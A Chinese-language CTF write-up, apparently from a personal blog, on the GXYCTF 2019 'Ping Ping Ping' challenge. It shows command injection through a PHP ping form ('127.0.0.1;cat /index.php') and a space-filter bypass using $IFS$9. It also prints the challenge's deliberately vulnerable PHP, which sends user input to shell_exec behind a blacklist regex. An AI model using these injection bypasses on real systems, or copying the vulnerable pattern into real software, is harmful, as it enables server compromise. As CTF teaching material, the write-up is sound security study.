GXYCTF 2019 Ping Ping Ping

Mon, 16 Mar 2026 00:17:57 +0800

a. 方法一

进入题目我们发现需要 ping 地址，那我们就输入常见的 127.0.0.1，正常回显：

之后试着在地址之后加上指令 ls 来读取文件：

看到两个 php 文件之后，我们第一时间想着去读取试试，结果返回的是：

127.0.0.1;cat /index.php
1fxck your symbol!

经过尝试我们发现这里过滤了空格。然后我们尝试 ${IFS} 去绕过，发现还是不行，我们继续尝试 $IFS$9：

<?php
if(isset($_GET['ip'])){
 $ip = $_GET['ip'];
 if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
 print_r($match);
 print($ip);
 echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
 die("fxck your symbol!");
 }
 else if(preg_match("/ /", $ip)){
 die("fxck your space!");
 }
 else if(preg_match("/bash/", $ip)){
 die("fxck your bash!");
 }
 else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
 die("fxck your flag!");
 }
 $a = shell_exec("ping -c 4 ".$ip);
 echo "<pre>";
 print_r($a);
}
?>

这里的源代码也可以看出来过滤了空格和大括号。然后我们想着试一下 cat$IFS$9flag.php，发现不能直接用——因为里面既过滤了 flag 整个字段，同时把顺带的 * 通配符也过滤了。因此我们选择一个变量赋值的取巧方法，用 q 变量拼接出 flag：

GXYCTF on Jay's CTF life

GXYCTF 2019 Ping Ping Ping

a. 方法一